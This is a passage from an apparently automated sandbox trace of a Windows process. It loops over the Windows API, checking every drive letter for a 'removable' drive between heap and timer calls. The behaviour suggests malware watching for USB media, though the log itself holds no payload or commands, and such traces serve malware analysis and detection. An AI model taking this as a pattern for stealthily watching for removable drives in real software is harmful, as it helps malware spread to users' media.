0x9 [0171.118] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.119] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.119] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.119] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.121] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.121] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.121] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.121] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.122] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.122] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.122] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.122] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.122] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.123] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.123] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.124] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.124] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.125] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.125] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.125] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.125] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.126] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.126] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.126] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.126] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.126] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0171.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0171.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0171.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0171.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.127] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 1 [0171.128] TranslateMessage (lpMsg=0xbdf794) returned 0 [0171.128] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0171.128] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0171.128] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0171.128] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.128] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0171.128] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.128] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0171.128] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe758 [0171.128] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe758 | out: hHeap=0xe80000) returned 1 [0171.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0171.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0171.129] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0171.130] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2958 | out: hHeap=0xe80000) returned 1 [0171.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0171.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0171.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0171.131] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0171.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0171.131] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0171.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0171.132] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0171.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0171.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076868 [0171.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0171.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0171.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0171.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0171.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3d8 [0171.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0171.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.134] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.134] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.134] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.135] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.135] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.135] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.135] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.135] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.135] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.136] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.136] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.136] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.136] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.136] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.137] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.137] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.137] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.137] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.137] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.138] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.138] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.138] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.138] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.138] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.139] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.139] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.139] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0171.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0171.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.141] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.141] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0171.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0171.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0171.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0171.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.141] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.141] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0171.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0171.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe7b8 [0171.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.142] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe7b8 | out: hHeap=0xe80000) returned 1 [0171.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0171.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0171.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb50 [0171.142] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb50 | out: hHeap=0xe80000) returned 1 [0171.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0171.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0171.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.145] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0171.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.145] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0171.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.145] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0171.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10768b0 [0171.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.146] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0171.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf408 [0171.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0171.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0171.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3d8 [0171.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0171.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0171.147] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.147] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.147] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.147] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.147] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.147] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.148] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.148] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.148] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.148] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.148] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.148] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.149] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.149] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.149] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.149] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.149] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.150] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.150] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.150] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.151] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.151] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.151] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.151] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.151] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.151] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.152] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0171.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0171.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0171.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0171.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0171.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.154] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0171.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0171.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0171.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe758 [0171.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe758 | out: hHeap=0xe80000) returned 1 [0171.155] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0171.155] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.155] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0171.155] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.155] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0171.156] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0171.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0171.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0171.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.157] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0171.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.158] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0171.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.158] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076868 [0171.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2958 [0171.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0171.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0171.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0171.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0171.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf438 [0171.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0171.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec14b0 [0171.159] CharLowerBuffW (in: 